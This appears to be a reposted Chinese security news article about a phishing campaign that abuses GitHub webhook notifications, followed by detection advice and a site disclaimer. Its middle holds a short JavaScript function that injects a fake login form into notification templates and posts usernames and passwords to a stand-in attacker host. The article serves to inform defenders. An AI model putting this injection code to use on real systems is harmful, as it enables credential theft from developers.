近几周,安全研究人员发现了一场精心策划的钓鱼攻击活动,该活动利用合法的GitHub通知机制来传播恶意内容。
受害者会收到看似真实的存储库警报,包括真实的提交消息和合作者更新。仔细检查后,通知标头会显示更改的发件人地址和混淆的链接。
该活动的复杂性使其能够绕过许多电子邮件网关,导致开发人员和IT人员的凭据被盗数量激增。
最初的报告出现时,多位开源维护者报告了意外的密码重置和未授权的仓库分叉情况。H4x0r.DZ识别出了这种恶意软件变体,它负责拦截GitHub的webhook通知并附加钓鱼载荷。
与典型的钓鱼邮件不同,这些邮件通过利用第三方GitHub应用程序中的配置错误,保持了有效的DKIM和SPF记录。
收件人点击嵌入的链接后,会通过一系列URL缩短服务进行重定向,最终进入一个用于窃取凭据的页面。
对钓鱼邮件的分析显示,恶意软件会将自定义HTML表单注入GitHub通知模板中。
表单的action属性指向攻击者控制的URL,而JavaScript代码则捕获输入的凭据并通过AJAX POST请求转发这些凭据。
通过Webhook操纵的感染机制
核心感染途径取决于具有过于宽泛的webhook权限的受感染GitHub应用程序。
攻击者首先识别出允许外部应用订阅推送事件的热门仓库。
他们以看似合理的名称注册恶意应用程序,从而获得事件订阅并获取网络钩子密钥。
攻击者的服务器使用该密钥验证传入的JSON负载,然后修改“推送者”字段,插入恶意HTML,再将通知转发给GitHub的邮件服务。
以下是注入逻辑的简化版本:-
function modifyPayload(payload) {
let template = payload. Body;
const phishingForm = `<form action="https://evil.example.com/collect" method="POST">
<input name="username" placeholder="User Name"/>
<input type="password" name="password" placeholder="Password"/>
<button type="submit">Confirm</button>
</form>`;
payload. Body = template.replace('</div>', `${phishingForm}</div>`);
return payload;
}
而webhook注入流程则追踪webhook有效负载的端到端操纵。一旦获取到凭证,攻击者就能够访问私有仓库、提升权限并部署更多的恶意软件。
检测策略应侧重于监控异常的webhook注册、验证应用程序权限范围,以及检查出站电子邮件内容中嵌入的表单。
1. 本版块文章内容及资料部分来源于网络,不代表本站观点,不对其真实性负责,也不构成任何建议。
2. 部分内容由网友自主投稿、编辑整理上传,本站仅提供交流平台,不为该类内容的版权负责。
3. 本版块提供的信息仅作参考,不保证信息的准确性、有效性、及时性和完整性。
4. 若您发现本版块有侵犯您知识产权的内容,请及时与我们联系,我们会尽快修改或删除。
5. 使用者违规、不可抗力(如黑客攻击)或第三方擅自转载引发的争议,联盟不承担责任。
6. 联盟可修订本声明,官网发布即生效,继续使用视为接受新条款。